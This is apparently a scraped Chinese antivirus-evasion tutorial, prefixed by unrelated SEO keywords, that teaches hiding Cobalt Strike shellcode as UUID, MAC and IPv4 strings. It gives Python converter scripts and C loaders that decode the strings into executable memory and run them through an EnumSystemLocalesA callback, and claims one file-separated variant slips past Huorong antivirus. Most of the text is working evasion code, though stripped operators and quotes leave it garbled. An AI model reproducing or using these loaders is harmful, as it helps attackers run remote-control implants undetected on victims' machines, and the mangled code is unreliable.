开封网站建设培训班,泛微e8做网站门户,大岭山网站建设公司,深圳商城网站开发免杀对抗——第一百五十九天
C2远控篇CCSC转换格式UUID标识MAC物理IPv4地址减少熵值
前置知识
之前我们可能讲得更多的都是针对Loader的一个混淆#xff0c;然后我们今天就来讲讲专门针对ShellCode本身能进行的一些转换我们常见的可以将…免杀对抗——第一百五十九天C2远控篇CCSC转换格式UUID标识MAC物理IPv4地址减少熵值前置知识之前我们可能讲得更多的都是针对Loader的一个混淆然后我们今天就来讲讲专门针对ShellCode本身能进行的一些转换我们常见的可以将ShellCode转换为UUID、MAC、IPv4、IPv6等等反正总的目的就是让杀毒软件不认识这个东西C2远控 - UUID地址-ShellCode转换参考文章CS shellcode内存加载器免杀及实现-安全KER - 安全资讯平台我们可以将ShellCode转换为UUID让其加载到内存UUID通用唯一识别码是用于计算机体系中以识别信息数目的一个128位标识符根据标准方法生成不依赖中央机构的注册和分配UUID具有唯一性。我们可以通过Python脚本去生成UUID形式的ShellCodefromuuidimportUUIDimportsysiflen(sys.argv)2:print(Usage: %s shellcode_file%sys.argv[0])sys.exit(1)withopen(sys.argv[1],rb)asf:chunkf.read(16)print({}const char* uuids[] .format( *4))print( {)whilechunk:iflen(chunk)16:padding16-len(chunk)chunkchunk(b\x90*padding)print({}\{}\.format( *8,UUID(bytes_lechunk)))breakprint({}\{}\,.format( *8,UUID(bytes_lechunk)))chunkf.read(16)print( };)然后通过如下代码加载#includeWindows.h#includeRpc.h#includeiostream#pragmacomment(lib,Rpcrt4.lib)usingnamespacestd;constchar*uuids[]{xxx};intmain(){HANDLE hHeapHeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);void*hmemHeapAlloc(hHeap,0,0x1000);printf(%p\n,hmem);DWORD_PTR ptr(DWORD_PTR)hmem;intinitsizeof(uuids)/sizeof(uuids[0]);for(inti0;iinit;i){RPC_STATUS statusUuidFromStringA((RPC_CSTR)uuids[i],(UUID*)ptr);if(status!RPC_S_OK){printf(UuidFromStringA ! RPC_S_OK\n);CloseHandle(hmem);return-1;}ptr16;}printf([] HexDump: \n);for(inti0;iinit*16;i){printf(%02X ,((unsignedchar*)hmem)[i]);//((unsigned char*)hmem)[i] ^ 0x39;}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem,0);CloseHandle(hmem);return0;}当然只用这个肯定是没啥用的我们还需要进行混淆采用之前的一些技术结合起来才能过基本的杀毒软件比如这里简单混淆一下代码然后加个文件分离就可以过火绒了#includeWindows.h#includeRpc.h#includestdio.h#pragmacomment(lib,Rpcrt4.lib)intmain(){// 从文件读取UUID数组文件分离FILE*ffopen(uuids.dat,r);if(!f)return1;charuuid[64];intcount0;while(fgets(uuid,sizeof(uuid),f)){if(uuid[0]\n)continue;count;}fseek(f,0,SEEK_SET);// 分配内存void*pVirtualAlloc(NULL,count*16,MEM_COMMIT,PAGE_EXECUTE_READWRITE);DWORD_PTR d(DWORD_PTR)p;// 加载UUIDwhile(fgets(uuid,sizeof(uuid),f)){if(uuid[0]\n)continue;uuid[36]0;// 移除换行符UuidFromStringA((RPC_CSTR)uuid,(UUID*)d);d16;}fclose(f);// 执行EnumSystemLocalesA((LOCALE_ENUMPROCA)p,0);VirtualFree(p,0,MEM_RELEASE);return0;}C2远控 - MAC地址-ShellCode转换同理我们也可以将ShellCode混淆为MAC地址使用如下脚本frommacaddressimportMACimportsysiflen(sys.argv)2:print(Usage: %s shellcode_file%sys.argv[0])sys.exit(1)withopen(sys.argv[1],rb)asf:chunkf.read(6)print({}const char* MAC[] .format( *4))print( {)whilechunk:iflen(chunk)6:padding6-len(chunk)chunkchunk(b\x90*padding)print({}\{}\.format( *8,MAC(chunk)))breakprint({}\{}\,.format( *8,MAC(chunk)))chunkf.read(6)print( };)再通过如下代码加载#includeWindows.h#includestdio.h#includeIp2string.h#pragmacomment(lib,Ntdll.lib)#ifndefNT_SUCCESS#defineNT_SUCCESS(Status)(((NTSTATUS)(Status))0)#endif#define_CRT_SECURE_NO_WARNINGS#pragmawarning(disable:4996)intError(constchar*msg){printf(%s (%u),msg,GetLastError());return1;}intmain(){constchar*MAC[]{xxx};introwLensizeof(MAC)/sizeof(MAC[0]);PCSTR TerminatorNULL;DL_EUI48*LpBaseAddress2NULL;NTSTATUS STATUS;HANDLE hHeapHeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);void*hmemHeapAlloc(hHeap,0,0x1000);DWORD_PTR ptr(DWORD_PTR)hmem;for(inti0;irowLen;i){STATUSRtlEthernetStringToAddressA((PCSTR)MAC[i],Terminator,(DL_EUI48*)ptr);if(!NT_SUCCESS(STATUS)){printf([!] RtlEthernetStringToAddressA failed in %s result %x(% u),MAC[i],STATUS,GetLastError());returnFALSE;}ptr6;}printf([] HexDump: \n);for(inti0;i6*rowLen;i){printf(%02X ,((unsignedchar*)hmem)[i]);}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem,0);CloseHandle(hmem);return0;}但是这个也是过不了任何杀毒软件还是需要进行混淆这里就不细讲C2远控 - IPv4地址-ShellCode转换还是一样可以通过下面的代码将ShellCode转换为IPv4的地址fromipaddressimportip_addressimportsysiflen(sys.argv)2:print(Usage: %s shellcode_file%sys.argv[0])sys.exit(1)withopen(sys.argv[1],rb)asf:chunkf.read(4)print({}const char* IPv4s[] .format( *4))print( {)whilechunk:iflen(chunk)4:padding4-len(chunk)chunkchunk(b\x90*padding)print({}\{}\.format( *8,ip_address(chunk)))breakprint({}\{}\,.format( *8,ip_address(chunk)))chunkf.read(4)print( };)再通过如下代码加载#includeWindows.h#includestdio.h#includeIp2string.h#pragmacomment(lib,Ntdll.lib)#ifndefNT_SUCCESS#defineNT_SUCCESS(Status)(((NTSTATUS)(Status))0)#endifintmain(){constchar*IPv4s[]{xxx};PCSTR TerminatorNULL;PVOID LpBaseAddressNULL;PVOID LpBaseAddress2NULL;NTSTATUS STATUS;HANDLE hHeapHeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);void*hmemHeapAlloc(hHeap,0,0x1000);DWORD_PTR ptr(DWORD_PTR)hmem;intinitsizeof(IPv4s)/sizeof(IPv4s[0]);for(inti0;iinit;i){RPC_STATUS STATUSRtlIpv4StringToAddressA((PCSTR)IPv4s[i],FALSE,Terminator,(in_addr*)ptr);if(!NT_SUCCESS(STATUS)){printf([!] RtlIpv6StringToAddressA failed in %s result %x (%u),IPv4s[i],STATUS,GetLastError());returnFALSE;}ptr4;}printf([] HexDump: \n);for(inti0;iinit*4;i){printf(%02X ,((unsignedchar*)hmem)[i]);}EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem,0);CloseHandle(hmem);return0;}这也没啥好说的反正主要的原理就是shellcode - 加密/编码 - 混淆后的shellcode这三个技术与之前什么Base64、XOR、Rot13等等其实没什么本质上的区别